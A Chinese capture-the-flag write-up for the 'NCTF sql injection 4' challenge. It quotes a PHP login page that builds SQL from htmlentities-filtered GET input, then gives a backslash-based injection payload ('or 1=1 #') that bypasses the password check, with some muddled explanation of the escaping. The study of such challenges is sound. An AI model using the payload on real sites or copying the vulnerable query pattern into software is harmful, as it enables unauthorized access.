NCTF sql injection 4
阿新 • • 發佈:2018-12-17
頁面僅有一句話
檢視原始碼,有如下資訊:
<!-- #GOAL: login as admin,then get the flag; error_reporting(0); require 'db.inc.php'; function clean($str){ if(get_magic_quotes_gpc()){ $str=stripslashes($str); } return htmlentities($str, ENT_QUOTES); } $username = @clean((string)$_GET['username']); $password = @clean((string)$_GET['password']); $query='SELECT * FROM users WHERE name=\''.$username.'\' AND pass=\''.$password.'\';'; $result=mysql_query($query); if(!$result || mysql_num_rows($result) < 1){ die('Invalid password!'); } echo $flag; -->
注意 htmlentities($str, ENT_QUOTES)
,http://www.w3school.com.cn/php/func_string_htmlentities.asp
簡單來說就是將$str中的單雙引號(’ ,")過濾,這直接導致無法常規地使用(’)閉合SQL語句,只能用轉義字元吃掉單引號
現在再看
$query='SELECT * FROM users WHERE name=\''.$username.'\' AND pass=\''.$password.'\';';
反斜槓與單引號組合後會失效 所以上述SQL語句實際為
SELECT * FROM users WHERE name='.$username.' AND pass='.$password.';
.password.實際是我們通過get傳入的兩個引數,改為用a和b表示,改後如下
SELECT * FROM users WHERE name='a' AND pass='b';
由於無法使用單引號閉合,所以可以用反斜槓()將上面SQL語句中的第二個(’)轉義,傳入引數為:a\,使其失效,失效後的SQL實際如下
SELECT * FROM users WHERE name='a AND pass='b';
所以我們構造的注入語句即為:?username=\&password=or%201%3d1%23【or 1=1 #】
SELECT * FROM users WHERE name=' AND pass='or 1=1 #';
注意:還有就是,如果php的magic_quotes_gpc是開啟狀態的話,我們輸入的轉義符也會被去掉的,不過既然這道題目能做,說明我們是可以使用轉義符 (\)